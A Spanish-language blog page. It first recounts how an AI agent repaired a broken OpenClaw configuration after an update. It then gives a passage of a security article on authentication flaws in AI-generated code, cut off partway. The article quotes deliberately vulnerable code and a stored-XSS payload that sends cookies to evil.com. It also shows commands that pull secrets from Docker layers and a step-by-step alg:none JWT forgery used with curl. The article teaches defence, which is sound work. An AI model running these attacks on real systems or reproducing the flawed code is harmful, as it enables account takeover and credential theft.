Le pedí a OpenClaw que se actualizara solo. Lo hizo. Después, el gateway se negó a arrancar porque un campo de configuración había cambiado de forma silenciosa entre versiones (channels.discord.streaming pasó de ser una cadena a ser un objeto). openclaw doctor --fix detectó el problema, pero no fue capaz de arreglarlo. El AI Overview de Google sugirió con total seguridad lo contrario de la solución correcta. Hermes-Agent, con acceso a shell y al sistema de ficheros, leyó la configuración rota, hizo el único cambio necesario, guardó una copia de seguridad del original, reinició el servicio y verificó que todo iba bien, todo a partir de un prompt de un único párrafo. Trece minutos desde el primer aviso en rojo hasta el verde. Esto es lo que realmente significa «agentic ops».


Llevo bastante tiempo ejecutando OpenClaw en una Raspberry Pi 5. Es ese tipo de montaje que afinas los fines de semana y olvidas durante la semana, hasta que llega una actualización y algo se rompe sin avisar.

Esta mañana fue una de esas mañanas. Lo que quiero dejar por escrito no es solo el bug, sino la forma del arreglo. La herramienta de reparación de OpenClaw no fue lo que devolvió el gateway a la vida. Tampoco lo fue el AI Overview que aparece en la parte superior de cada resultado de Google. Lo que funcionó fue un agente de propósito general con acceso a shell y a ficheros, y la costumbre de leer una configuración antes de tener una opinión sobre ella.

Esa distinción parece pequeña. No lo es.


Paso 1: Le Pedí a AgentX que se Actualizara

Toda la historia empieza con una instrucción perfectamente razonable. Abrí la interfaz de chat de OpenClaw, saludé a AgentX (mi agente principal de OpenClaw) y le pedí que se actualizara.

1

update yourself please. El tipo de frase que le dices a un agente autónomo dando por hecho que sabrá apañárselas.

Y la parte de la actualización la gestionó. Lo que no gestionó fue la parte de validación posterior a la actualización, porque eso todavía no es algo que OpenClaw haga por sí mismo. La nueva versión introducía un cambio de esquema en uno de los campos de configuración. La actualización escribió los nuevos binarios. El fichero de configuración mantuvo su forma antigua. El siguiente arranque del gateway iba a fallar.

Yo todavía no sabía nada de esto.


Paso 2: Media Hora Después, el Gateway se Niega a Arrancar

Misma sesión, misma mañana. La actualización terminó en silencio en segundo plano. Cuando fui a levantar el gateway — openclaw gateway, esperando un arranque normal —, esto fue lo que obtuve:

2

Invalid config at /home/vulnex/.openclaw/openclaw.json:
channels.discord.streaming: invalid config: must be object
Run "openclaw doctor --fix" to repair, then retry.

Útil, en teoría. El arranque deja escrito un stability bundle (bien — para eso están los stability bundles) y el servicio se cae justo después.


Paso 3: El Status Confirma el Estado Roto

Lancé openclaw gateway status para ver el cuadro completo.

3

Una línea roja de lado a lado. state failed, sub failed, last exit 1, reason 1. La URL del dashboard ahí, burlándose de mí, la sonda de loopback sin poder conectar, y el gateway sin intención de volver por su cuenta.

En un mundo normal, este es el momento en el que sigues la solución sugerida por OpenClaw y terminas en cinco minutos. Eso fue lo primero que probé.


Paso 4: doctor --fix — La Auto-Reparación Que No Fue (Parte 1)

openclaw doctor --fix se supone que es el botón de «¿has probado a apagarlo y volverlo a encender?». Así que lo ejecuté.

4

El doctor se dedicó a sermonearme sobre NODE_COMPILE_CACHE y OPENCLAW_NO_RESPAWN en hosts de poca potencia. Consejos útiles. No el problema.


Paso 5: doctor --fix — La Auto-Reparación Que No Fue (Parte 2)

El doctor recorrió las secciones de config y gateway y acabó donde yo había empezado:

5

Restarted systemd service: openclaw-gateway.service
Error: Config validation failed: channels.discord.streaming: invalid config: must be object

El doctor reinició el servicio, pero nunca llegó a tocar la clave problemática. Lo cual tiene sentido, visto en frío. El validador dice «must be object», pero el doctor no tiene ninguna opinión sobre qué forma concreta debería tener ese objeto. No está en el negocio de adivinar esquemas nuevos. Es una postura razonable. Tampoco es muy útil a las 10:27 de la mañana.

Una cosa que OpenClaw debería cambiar: doctor --fix no debería imprimir «Restarted systemd service» una línea por encima de «Error: Config validation failed» y salir tan contento. A mí me confundió, y va a confundir a más gente. Lo abriré como bug.


Paso 6: La Respuesta Equivocada del AI Overview

Llegado este punto hice lo que haría la mayoría de la gente: pegué el mensaje de error exacto en Google a ver si alguien más se había topado con esto entre versiones.

6

Me decía que el validador quiere una cadena como "partial" y que mi configuración tenía un objeto, cuando en realidad el nuevo OpenClaw espera un objeto y mi configuración antigua tenía una cadena. Incluso me ofrecía un bloque JSON limpio, con resaltado de sintaxis, listo para copiar y pegar directamente en el fichero para romperlo más, etiquetado con un pin de citación de GitHub que daba toda la confianza del mundo.

Si hubiera ido con prisa, lo habría pegado. Esa es la parte que las demos de «IA para ops» suelen pasar por alto sin hacer ruido. La respuesta era fluida, estaba bien formateada, hasta llevaba cita, y apuntaba justo en sentido contrario a la dirección real de la migración del esquema.

Es el mismo modelo de amenaza que cubrí en Professional Vibe Coding vs. Vibe Coding, trasladado de un contexto de código a uno de operaciones. Si tu IA no puede leer el validador ni la configuración, te va a dar una respuesta segura sintetizada a partir del texto del error, y a veces esa respuesta es justo la contraria a la correcta.


Paso 7: Entra Hermes

Tengo Hermes-Agent enganchado a esta máquina precisamente para este tipo de líos. Trae herramientas de fichero, ejecución de shell, y la paciencia de leer las cosas en lugar de adivinarlas.

7

El stack de skills aquí importa: file:patch, read_file, search_files, write_file, code_execution, además del skill openclaw-agent-integrations que mantengo en local justo para este tipo de fontanería. Nada glamuroso, solo los movimientos básicos que hacen falta para arreglar un servicio mal configurado.

Le di un brief de un párrafo:

«I told openclaw to update itself and did, however the latest version breaks due a openclaw config json file error. The folder path is /home/vulnex/.openclaw. Make a copy of the config json file and fix the issue. You can use openclaw command to see the issue.»

Eso es todo. Sin esquema, sin pistas, sin ejemplo del nuevo formato.


Paso 8: Hermes se Orienta

Hermes hizo lo que yo habría hecho si hubiera dispuesto de otra hora.

8

  • Inspeccionó el entorno
  • Encontró la manera de invocar openclaw (el binario está en mi PATH, pero la shell no interactiva de Hermes no lo heredó, así que tiró de npx --yes openclaw y lo dejó claro en su resumen)
  • Leyó la configuración rota
  • Recuperó el stability bundle que el gateway había dejado caer al desplomarse

Nada de una única llamada dramática al LLM. Una pila de pasos pequeños y verificables: find, command -v, head, npm prefix -g, un heredoc de python3 que recorre $PATH buscando cualquier cosa que contenga claw. Aburrido a propósito.


Paso 9: Hermes Diagnostica

Una vez que tenía la configuración y el stability bundle en contexto, Hermes los comparó y averiguó qué había cambiado exactamente entre versiones.

9

Nada de adivinar a partir del texto del error. Lectura del original.


Paso 10: El Arreglo Aterriza

Hermes no tuvo el problema que tuvo el AI Overview, porque Hermes estaba leyendo los ficheros reales en lugar de inferir desde la prosa del error.

10

El diff es la historia completa:

// antes — forma antigua, válida en 2026.5.18 y anteriores
"channels": {
  "discord": {
    "streaming": "off"
  }
}

// después — forma nueva, requerida en 2026.5.19
"channels": {
  "discord": {
    "streaming": { "mode": "off" }
  }
}

OpenClaw 2026.5.19 promovió channels.discord.streaming de cadena a objeto etiquetado. El doctor vio que algo estaba mal, pero no tenía opinión sobre la nueva forma. El AI Overview de Google sí tenía opinión, y era la contraria a la correcta. Hermes:

  1. Leyó la configuración rota y el stability bundle startup_failed.json del gateway
  2. Hizo el cambio mínimo posible
  3. Escribió ~/.openclaw/openclaw.json.agenth-bak-20260521-103255 junto al original
  4. Reinició el servicio del gateway
  5. Verificó que el JSON parsea bien y que el error anterior había desaparecido

También fue honesto con sus propias matizaciones:

  • Usó npx --yes openclaw porque su shell no interactiva no heredó mi PATH interactivo — aunque el binario openclaw está, de hecho, instalado globalmente en este host. Una pequeña lectura errónea del entorno, pero transparente.
  • openclaw doctor seguía reportando avisos no relacionados, pero el problema de arranque que rompía la configuración estaba resuelto.

Esa auto-declaración importa, incluso cuando (como en el caso del PATH) el agente es algo demasiado pesimista sobre su entorno. Es mucho más fácil confiar en un agente que pone sus supuestos encima de la mesa que en uno que los esconde.


Paso 11: Verificación Desde el Shell

Confía, pero verifica. Vuelta al comando original que arrancó toda esta historia.

11

Runtime: running (pid 10178, state active, sub running, last exit 0, reason 0)
Connectivity probe: ok

Mismo comando, resultado opuesto. Once minutos antes esto había sido un muro rojo.


Paso 12: Pedirle a AgentX que lo Confirme

Después volví a la interfaz de chat de OpenClaw, el mismo sitio donde había empezado toda la historia, y se lo pregunté directamente a AgentX. Porque si no puedes fiarte de que el agente te cuente su propio estado tras una recuperación, tienes otros problemas.

12

«All good — gateway is running on 2026.5.19, active since 10:33. The doctor --fix restart attempt errored but the service came up fine on its own. We’re fully updated and online.»

Trece minutos desde el primer aviso en rojo hasta tenerlo en verde. La mayor parte de ese tiempo me lo pasé leyendo yo.

La sesión de chat hace de marco para toda la historia. Se abre con «update yourself please» y se cierra con «fully updated and online». Entremedias, un agente completamente distinto tuvo que entrar a hacer el trabajo real. Ese hueco es de lo que va este artículo.


Qué Nos Dice Realmente Este Episodio

La versión bonita de la historia es «agente que se rompe a sí mismo, agente que se arregla a sí mismo». Lo interesante está en el medio.

La herramienta de reparación del propio fabricante no arregló el producto del propio fabricante

openclaw doctor --fix es una buena idea ejecutada a medias. O entiende los caminos de migración de esquemas entre versiones recientes, o deja de fingir que ha hecho una reparación cuando la siguiente línea de su propio output dice que la configuración sigue sin validar. Ahora mismo hace lo peor posible: canta victoria y te deja roto. Eso es un bug de OpenClaw, no de la IA, y lo voy a reportar.

Los AI Overviews para usuario final se equivocan con seguridad en preguntas de esquema

Esto no es un caso aislado. El AI Overview no puede leer tu configuración, no puede leer el código del validador, no puede decirte hacia dónde ha migrado un esquema entre dos versiones, y formatea la respuesta equivocada con la misma seguridad que la correcta.

Para alguien que solo intenta levantar el gateway antes de una reunión, esa respuesta es peor que ninguna respuesta. Ninguna respuesta te manda a la documentación. Una respuesta equivocada con aire de seguridad te manda a pegar JSON roto en un fichero que estaba bien.

Tampoco es un problema específico de Google. Es el patrón general de producir una respuesta fluida a partir del síntoma en lugar de la fuente. Cualquier IA desplegada sin acceso de lectura al artefacto real se va a chocar con el mismo muro.

El agente que sí funcionó no era magia

Hermes no resolvió esto por ser más grande, más inteligente o estar entrenado con algo exótico. Lo resolvió porque podía leer el fichero, ejecutar un comando, escribir el fichero, y guardar una copia de seguridad. Esos cuatro movimientos son el suelo de lo que yo llamaría agentic ops, y la mayoría de la IA para usuario final sigue claramente por debajo de ese suelo.

La regla que me llevo de esta mañana es corta: si la IA en la que estás a punto de confiar para tocar una configuración no puede leer el fichero ni guardar una copia, no es una herramienta de ops. Es un buscador con mejor gramática.


Qué Voy a Cambiar en Mi Setup Después de Esto

Algunas cosas que voy a montar este fin de semana.

Quiero que ~/.openclaw/openclaw.json quede capturado en un repo git local antes de cada openclaw update. Los ficheros .agenth-bak de Hermes están bien para un incidente puntual, pero un historial real con control de versiones es mejor cuando llegue el próximo cambio de esquema.

También voy a dejar de tratar doctor --fix como una recuperación de un solo paso. Es un diagnóstico que de vez en cuando además escribe un arreglo. La auténtica verificación tiene que ser volver a lanzar openclaw gateway status y leer la salida.

Hermes se queda enganchado a esta máquina con scopes de fichero y ejecución pre-aprobados. La gracia del montaje es que cuando algo se rompe a las 10:25, no estoy también a las 10:26 cableando permisos de herramientas.

Y los nombres de los backups necesitan trabajo. openclaw.json.agenth-bak-20260521-103255 es razonable, pero quiero que esos ficheros caigan en ~/.openclaw/backups/ en lugar de quedarse al lado de la configuración viva.

Si estás ejecutando OpenClaw, la Guía Sencilla de Hardening de Seguridad para OpenClaw que escribí esta primavera sigue siendo la línea base correcta. Nada en el incidente de esta mañana cambia esas recomendaciones. Solo refuerza por qué una IA de solo lectura, que no puede tocar el artefacto, no debería estar en ningún punto cercano a tu bucle de recuperación.


Notas del Setup

Para quien quiera reproducir o comparar:

  • OpenClaw 2026.5.19 sobre un host Linux de clase Raspberry
  • Gateway en el puerto 18789, controlado desde la interfaz web de OpenClaw
  • Hermes-Agent v0.12.0 sobre el backend gpt-5.5 con 272K de contexto, configurado contra mi stack de skills estándar
  • El ~/.openclaw/openclaw.json original conservado como openclaw.json.agenth-bak-20260521-103255 para comparación forense

Una línea de JSON, y un recordatorio: la IA en la que confías durante un incidente tiene que poder leer el fichero.

Mantente paranoico. Lee la fuente. Guarda el backup.

Lecturas Recomendadas:

¿Preguntas o feedback? Contáctame a través de:

¿Necesitas ayuda para fortificar tu despliegue de agentes de IA? VULNEX ofrece:

  • Auditorías de seguridad de agentes IA (auditoría de skills, pruebas de prompt injection, revisión de configuración)
  • Engagements de red team (simulaciones de ataque potenciadas por IA)
  • Consultoría de automatización de seguridad y agentic ops
  • Desarrollo a medida de herramientas de seguridad

Contacto: info@vulnex.com

Publicado en AI, IA, Tecnologia | Etiquetado , , , , , | Deja un comentario

Autenticación y Secretos: Lo que la IA Siempre Hace Mal (Parte 5)

Serie Vibe Coding Security

  1. ¿Qué es Vibe Coding Security? Guía de Campo para 2026
  2. El OWASP Top 10 para Aplicaciones Vibe-Coded
  3. Anatomía de una Brecha de Vibe Coding: Lecciones de los Peores Incidentes de 2026
  4. La Trampa de las Dependencias: Riesgos en la Cadena de Suministro del Código Generado por IA
  5. Autenticación y Secretos: Lo que la IA Siempre Hace Mal (estás aquí)
  6. [Escaneando Aplicaciones Vibe-Coded: Por Qué el SAST/DAST Tradicional Se Queda Corto] (https://simonroses.com/es/2026/05/escaneando-aplicaciones-vibe-coded-por-que-el-sast-dast-tradicional-se-queda-corto-parte-6/)
  7. Prompt Engineering para Código Seguro
  8. El Checklist de Seguridad del Fundador (próximamente)
  9. Securizando el Pipeline de Codificación con IA (próximamente)
  10. El Futuro de Vibe Coding Security (próximamente)

Tiempo de lectura: 22 minutos

TL;DR

La autenticación y la gestión de secretos es donde el código generado por IA falla de forma más consistente y más peligrosa. En 67 líneas de una app de demostración que construí para una conferencia de seguridad, la IA produjo secretos JWT hardcodeados, hashing de contraseñas con MD5, tokens que nunca expiran, vulnerabilidades XSS y cero limitación de tasa — todo en una aplicación funcional que parece completamente normal para una persona sin conocimientos de seguridad. GitGuardian encontró 29 millones de secretos hardcodeados en GitHub en 2025, un salto del 34% interanual, con commits asistidos por IA filtrando secretos a más del doble de tasa que el código escrito por humanos. La auditoría de Inigra en el primer trimestre de 2026 sobre más de 200 aplicaciones vibe-coded encontró que el 91,5% contenía al menos una vulnerabilidad de seguridad trazable a código generado por IA. Y cuando Lovable — una de las mayores plataformas de vibe coding — fue golpeada por una vulnerabilidad BOLA en abril de 2026, cinco llamadas API desde una cuenta gratuita bastaron para acceder al código fuente, credenciales de base de datos y datos de clientes de cualquier otro usuario. Este artículo disecciona los cuatro patrones que la IA falla sistemáticamente — secretos hardcodeados, autenticación del lado del cliente, gestión de JWT rota y controles de acceso ausentes — y termina con un checklist de 20 puntos que puedes ejecutar contra tu aplicación ahora mismo.


Por Qué la Autenticación Es Donde Se Rompe Todo

Puedes publicar una app vibe-coded con un bug de CSS y nadie sale perjudicado. Publícala con un flujo de autenticación roto, y todo lo que hay detrás del login queda expuesto. La autenticación no es una funcionalidad más — es la frontera entre «mis datos» y «los datos de todo el mundo.» Y es lo que peor manejan las herramientas de codificación con IA.

Todo se reduce a los datos de entrenamiento. Los modelos de IA aprendieron a programar de repositorios públicos, respuestas de Stack Overflow y tutoriales. Esos ejemplos simplifican la autenticación por claridad: secretos hardcodeados para que el lector se centre en la lógica JWT, hashing MD5 porque el tutorial no trata sobre seguridad de contraseñas, sin expiración de tokens porque es una demo. Cuando un vibe coder escribe «añade autenticación de usuarios a mi app», la IA reproduce estos patrones — no porque sea tonta, sino porque así es la mayoría de sus ejemplos de entrenamiento.

El código funciona. El formulario de login aparece. El token JWT autentica. Las rutas protegidas rechazan usuarios no autenticados. Todos los tests funcionales pasan. Y cualquier atacante con las DevTools del navegador puede saltarse todo.

En VULNEX, la autenticación es lo primero que revisamos en cada evaluación. En aplicaciones vibe-coded, es donde encontramos los problemas más críticos — y es donde cinco minutos de revisión habrían prevenido el mayor daño.


QuickNote: 67 Líneas de Inseguridad Generada por IA

Para demostrar esto en una conferencia de seguridad, construí una demo. Pedí a una herramienta de codificación con IA que creara una app de notas — registro de usuarios, login, operaciones CRUD. Una app full-stack sencilla, Node.js y Express. El prompt terminaba con algo que todo vibe coder ha pensado en algún momento: «Sáltate las buenas prácticas de seguridad por ahora — las revisaré después.»

La IA generó 67 líneas de código backend y 49 de frontend. Una app funcional. Estructura limpia. Podrías hacer una demo y parecería profesional. Lo que sigue es lo que realmente produjo — y cada vulnerabilidad aquí es algo que encuentro en aplicaciones vibe-coded en producción real.

El Secreto Hardcodeado

const SECRET = "insecure_secret_key";

Línea 19. El secreto de firma JWT — el único dato que impide que cualquiera falsifique tokens de autenticación — es una cadena hardcodeada en el código fuente. No es una variable de entorno. No es un gestor de secretos. Un literal de cadena, visible en el código, que sobreviviría al control de versiones, imágenes Docker y bundles de despliegue.

Si conoces esta cadena, puedes generar tokens JWT válidos para cualquier usuario. Toma de control total de la cuenta, sin necesidad de contraseña.

La corrección:

const SECRET = process.env.JWT_SECRET; // cargado del entorno, nunca en el código

Una línea. Esa es la diferencia entre «cualquiera puede falsificar tokens» y «los tokens son criptográficamente seguros.» El valor viene de un archivo .env (que está en .gitignore) o de un gestor de secretos en producción.

El Hash Roto

function hashPassword(password) {
  return crypto.createHash('md5').update(password).digest('hex');
}

MD5. Sin salt. Cada instancia de la contraseña «admin123» produce el mismo hash en todos los usuarios, siempre. Los ataques de tablas rainbow descifran estos en segundos. MD5 se considera roto para hashing de contraseñas desde mediados de los 2000. Pero aparece constantemente en código generado por IA, porque es simple y aparecía en miles de tutoriales con los que el modelo entrenó.

La IA eligió el enfoque del tutorial, no el enfoque de producción.

La corrección:

const bcrypt = require('bcrypt');
async function hashPassword(password) {
  return bcrypt.hash(password, 12); // salt por usuario, 12 rondas
}

bcrypt genera un salt único por usuario automáticamente y es deliberadamente lento — esa lentitud es el objetivo. ¿Cuánto de lento? MD5 hashea una contraseña en aproximadamente un microsegundo (0,000001 segundos) en Node.js. bcrypt con 12 rondas tarda unos 0,3 segundos. Eso es una diferencia de 300.000x. Una base de datos de contraseñas de 10.000 usuarios hasheada con MD5 — sin salt, así que solo necesitas hashear cada contraseña candidata una vez — se puede crackear completamente contra el diccionario rockyou.txt (14,3 millones de entradas) en menos de un minuto. La misma base de datos con bcrypt? Cada usuario tiene un salt único, así que tienes que rehashear los 14,3 millones de candidatos por usuario. En una CPU de 10 núcleos, eso son aproximadamente 136 años. Los equipos de cracking con GPU reducen esto significativamente — pero incluso un clúster de GPUs de gama alta lo baja a años, no a minutos. Esas son las matemáticas detrás de «usa bcrypt.»

El Token Inmortal

const token = jwt.sign({ id: user.id, username: user.username }, SECRET);

Sin expiración. Este JWT es válido para siempre. Una vez emitido, nunca necesita ser renovado. Si es interceptado, robado o filtrado, proporciona acceso permanente a la cuenta. Sin parámetro expiresIn. Sin mecanismo de refresh token. Sin forma de invalidar una sesión comprometida.

La corrección:

const token = jwt.sign(
  { id: user.id, username: user.username },
  process.env.JWT_SECRET,
  { expiresIn: '1h' }  // el token muere en una hora
);

Un objeto de opciones. Eso es lo que separa «acceso permanente si es robado» de «ventana de una hora.»

El Punto de Inyección XSS

notes.innerHTML = data.map(n => `
<li>${n.content}</li>`).join('');

En el frontend, el contenido de las notas se inyecta directamente en el DOM vía innerHTML sin ninguna sanitización. Almacena <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> como nota, y cada vez que la página renderiza, el script se ejecuta. En un contexto multiusuario, esto es XSS almacenado — la variante más peligrosa.

La corrección:

notes.textContent = ''; // limpia de forma segura
data.forEach(n => {
  const li = document.createElement('li');
  li.textContent = n.content; // textContent escapa HTML automáticamente
  notes.appendChild(li);
});

textContent en vez de innerHTML. El navegador trata el contenido como texto, no como marcado ejecutable. Sin necesidad de biblioteca de sanitización.

Lo que Falta

Más allá de lo que hay en el código, fíjate en lo que no hay: sin limitación de tasa en el login, sin forzar HTTPS, sin configuración CORS, sin validación de entrada en el endpoint de registro, sin requisitos de complejidad de contraseña, sin bloqueo de cuenta, sin registro de eventos de autenticación.

La ausencia de limitación de tasa merece números. Sin ella, un atacante puede enviar peticiones de login tan rápido como el servidor responda — fácilmente más de 100 por segundo contra una app Express típica. El diccionario rockyou.txt contiene 14,3 millones de contraseñas. A 100 peticiones/segundo, eso son 39 horas para probar absolutamente todas. Pero la mayoría de usuarios eligen contraseñas comunes: las 1.000 contraseñas más frecuentes cubren aproximadamente el 14% de todas las cuentas. A 100 peticiones/segundo, esos 1.000 intentos tardan diez segundos. Diez segundos para comprometer una de cada siete cuentas — porque la IA no añadió express-rate-limit, un middleware de cinco líneas.

Cada uno de estos es una vulnerabilidad. La IA los produjo todos en 67 líneas. Y la app funciona — que es exactamente la razón por la que nadie los detecta hasta que es demasiado tarde.


Patrón 1: Secretos Hardcodeados — El Problema a Escala

El const SECRET = "insecure_secret_key" de QuickNote es una línea en una demo. El problema es que este patrón exacto se repite en millones de repositorios.

Los Números

El informe State of Secrets Sprawl 2026 de GitGuardian encontró 29 millones de secretos hardcodeados en GitHub en 2025 — un aumento interanual del 34% y el mayor salto en un solo año que han registrado. Las credenciales de servicios de IA específicamente aumentaron un 81%, con 1,27 millones de tokens relacionados con IA expuestos.

La conexión con el vibe coding es directa: GitGuardian midió que los commits asistidos por Claude Code filtraban secretos en un 3,2% frente al 1,5% del baseline en todos los commits públicos — más del doble de tasa. La IA no distingue entre «este es un valor que debería externalizar» y «este es un valor que el código necesita.» Pone la clave API donde el código funciona, que es inline.

Tu .env Tampoco Es Seguro

Pensarías que la solución es sencilla — pon los secretos en .env y mantenlos fuera del código. Pero la investigación de Knostic demostró que herramientas como Cursor y Copilot leen activamente archivos .env durante la construcción de contexto, exponiendo efectivamente secretos a la API cloud del modelo. El secreto que cuidadosamente pusiste en una variable de entorno se incorpora a la ventana de contexto de la IA, y puede acabar reproducido en código generado en otra parte.

Así que la IA lee tus secretos del .env, y luego los hardcodea en el siguiente archivo que genera. El patrón se retroalimenta.

Va a peor en el despliegue. Las herramientas de IA generan frecuentemente Dockerfiles que copian todo el directorio del proyecto en la imagen, incluyendo .env:

COPY . /app          # copia todo, incluyendo .env
RUN npm install

Aunque después borres .env dentro del contenedor, las imágenes Docker funcionan por capas. El archivo persiste en la capa anterior. Cualquiera que descargue la imagen puede extraerlo:

docker history --no-trunc 
<imagen>
docker save 
<imagen> | tar -xf - -C /tmp/layers
# buscar secretos en las capas
grep -r "API_KEY\|SECRET\|DATABASE_URL" /tmp/layers/

La solución es un archivo .dockerignore que excluya .env, node_modules y cualquier otro archivo sensible — y pasar los secretos en tiempo de ejecución vía Docker secrets o inyección de variables de entorno. Pero los Dockerfiles generados por IA casi nunca incluyen un .dockerignore. Optimizan para «el build funciona», no para «el build es seguro.»

Consecuencias Reales

En marzo de 2026, un desarrollador recibió una factura de 82.314 dólares después de que una clave API de Google embebida en el JavaScript frontend de su web fuese robada. La clave se creó originalmente para Google Maps — bajo riesgo, pública por diseño. Pero cuando Google lanzó Gemini, las claves de Maps existentes ganaron acceso silenciosamente a los endpoints de Gemini. Los atacantes encontraron la clave expuesta, automatizaron peticiones contra Gemini Pro, y acumularon 82.000 dólares en 48 horas. El gasto mensual normal del desarrollador era de 180 dólares. Este es exactamente el patrón que las apps vibe-coded reproducen a escala: claves API embebidas en JavaScript del lado del cliente, visibles para cualquiera que abra el código fuente de la página.

Y los secretos filtrados no se limpian. GitGuardian encontró que el 64% de los secretos detectados en 2022 seguían válidos y sin revocar en 2026. Cuando una IA pone una clave en tu bundle de frontend y ese bundle se despliega en un CDN, la clave es pública para siempre — a menos que la revoques y rotes, cosa que la mayoría de equipos no hace.

Qué Comprobar

Ejecuta Gitleaks o TruffleHog contra tu código ahora mismo. Busca cadenas hardcodeadas que parezcan claves API, cadenas de conexión a base de datos o secretos JWT. Revisa tu bundle de frontend — cualquier cosa en JavaScript del lado del cliente es pública. Si encuentras secretos, revócalos inmediatamente, rota a nuevas credenciales, y muévelos a variables de entorno o un gestor de secretos.


Patrón 2: Autenticación del Lado del Cliente — La Puerta Sin Cerrojo

El Patrón

Este es el patrón Enrichlead de la Parte 3 a escala industrial. Las herramientas de codificación con IA colocan consistentemente las comprobaciones de autenticación y autorización en código frontend donde son trivialmente evitables. El paywall es un render condicional en React. El panel de administración está oculto por una clase CSS. El endpoint de API existe y funciona — el frontend simplemente no muestra el botón a usuarios no autenticados.

Los Datos

La investigación de Wiz sobre aplicaciones vibe-coded identificó cuatro patrones sistemáticos de misconfiguración, y la autenticación del lado del cliente encabezó la lista. Sus hallazgos: las herramientas de IA generan lógica de autenticación que optimiza para la experiencia de usuario — mostrando y ocultando elementos de UI — sin implementar la verificación correspondiente en el servidor. El resultado son aplicaciones donde cada funcionalidad protegida está a un comando curl de ser accedida por cualquiera.

La auditoría Q1 2026 de Inigra de más de 200 aplicaciones vibe-coded encontró que el 91,5% contenía al menos una vulnerabilidad de seguridad trazable a código generado por IA, con más del 60% exponiendo credenciales hardcodeadas. La plataforma Lovable — una de las herramientas de vibe coding más populares, valorada en 6.600 millones de dólares con ocho millones de usuarios — estuvo en el centro de múltiples incidentes de seguridad a principios de 2026, con investigadores descubriendo que más de 170 apps construidas en la plataforma tenían tablas de Supabase consultables por cualquiera que tuviese la clave pública anon.

Una parte significativa de estas involucraba misconfiguraciones de Supabase. Así es como se ve el código típico generado por IA para Supabase:

-- Lo que la IA genera (MAL):
CREATE TABLE notes (
  id SERIAL PRIMARY KEY,
  user_id UUID REFERENCES auth.users,
  content TEXT
);
-- Sin política RLS. Cualquier usuario autenticado puede leer/escribir todas las filas.
-- Con la clave anon, incluso usuarios no autenticados pueden acceder a la tabla.
-- Lo que debería generar:
CREATE TABLE notes (
  id SERIAL PRIMARY KEY,
  user_id UUID REFERENCES auth.users,
  content TEXT
);
ALTER TABLE notes ENABLE ROW LEVEL SECURITY;

CREATE POLICY "Los usuarios solo pueden acceder a sus propias notas"
  ON notes FOR ALL
  USING (auth.uid() = user_id)
  WITH CHECK (auth.uid() = user_id);

Cuatro líneas de SQL. Esa es la diferencia entre «cualquiera puede leer tu base de datos» y «los usuarios solo ven sus propias filas.» La IA omite ENABLE ROW LEVEL SECURITY y la política porque no las necesita para que el código funcione. La clave anon de Supabase, que está diseñada para ser pública, a menudo se confunde con la clave service_role, que absolutamente no debe ser pública. La IA no distingue la diferencia. Usa la clave que hace que el código funcione.

Por Qué la IA Hace Esto

La IA optimiza para lo que pediste. «Añade autenticación a mi app» significa «muestra una pantalla de login y protege las rutas.» La IA entrega exactamente eso — en el frontend. No añade espontáneamente middleware del lado del servidor, porque no pediste middleware. No implementa RBAC, porque pediste autenticación, no autorización. Produce la implementación mínima viable de lo que describiste, y en ese contexto, «autenticación» se reduce a una comprobación del lado del cliente.

Esta es la superficie de decisión invisible de la Guía de Campo. La IA decidió dónde poner la comprobación de autenticación, decidió no añadir validación del lado del servidor, decidió usar la clave anon en vez de implementar políticas RLS adecuadas. El desarrollador nunca vio ninguna de esas decisiones. La app funcionaba, así que pasó a lo siguiente.

Qué Comprobar

Abre la pestaña de red de tu navegador. ¿Puedes hacer peticiones API directamente, saltándote el frontend? Si tu API devuelve datos sin validar una sesión o token del lado del servidor, tu autenticación es solo del lado del cliente. Prueba cada endpoint — no solo los que la UI expone. Intenta acceder a endpoints de admin como usuario regular. Intenta acceder a datos de otros usuarios modificando IDs en las peticiones. Si algo de esto funciona, tienes un problema de autenticación del lado del cliente.


Patrón 3: JWT y Gestión de Sesiones Rotos

Los Fallos Estándar

JWT es el mecanismo de autenticación por defecto del código generado por IA. La IA recurre a él porque es stateless, está bien documentado y aparece en miles de ejemplos de entrenamiento. Pero las implementaciones están consistentemente rotas de las mismas formas:

Sin expiración. El ejemplo de QuickNote no establece parámetro expiresIn. El token es válido para siempre. Veo esto en aproximadamente la mitad de las aplicaciones vibe-coded que reviso — la IA genera la llamada jwt.sign() y no añade la opción de expiración porque el tutorial del que aprendió no la incluía.

Secretos de firma débiles o hardcodeados. «secret», «my_jwt_secret», «insecure_secret_key» — estos aparecen literalmente en aplicaciones en producción. La IA los toma de sus datos de entrenamiento, donde eran valores de marcador de posición en la documentación. Un secreto de firma débil significa que cualquiera puede falsificar tokens.

El algoritmo «none». JWT soporta un algoritmo llamado none que produce tokens sin firma — diseñado para entornos de desarrollo donde la verificación de firma añade sobrecarga. Las herramientas de IA ocasionalmente generan implementaciones JWT que aceptan el algoritmo none, o que lo incluyen en un array de algoritmos permitidos. Así es como funciona el ataque en la práctica:

# Paso 1: Tomar un JWT legítimo y dividirlo en sus tres partes (header.payload.signature)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJ1c2VyIn0.signature_here"

# Paso 2: Crear una nueva cabecera con alg establecido a "none"
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr -d '=' | tr '/+' '_-'
# Output: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Paso 3: Modificar el payload (p.ej., cambiar el ID de usuario al del admin)
echo -n '{"id":1,"username":"admin"}' | base64 -w 0 | tr -d '=' | tr '/+' '_-'
# Output: eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9

# Paso 4: Concatenar con una firma vacía
FORGED="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9."

# Paso 5: Usarlo
curl -H "Authorization: Bearer $FORGED" https://target.com/api/admin/users

Cinco comandos. Sin necesidad de secreto. Si el servidor lo acepta, tienes acceso total de admin. La corrección es especificar siempre el algoritmo permitido explícitamente en la llamada de verificación — jwt.verify(token, secret, { algorithms: ['HS256'] }) — para que el servidor rechace cualquier token que afirme usar un algoritmo diferente.

Sin invalidación de tokens. La autenticación generada por IA raramente implementa revocación de tokens, rotación de refresh tokens o invalidación de sesiones. Si un usuario cambia su contraseña, sus tokens antiguos siguen funcionando. Si un administrador necesita forzar el cierre de sesión de un usuario, no hay mecanismo para hacerlo.

OAuth y Login Social: El Atajo Engañoso

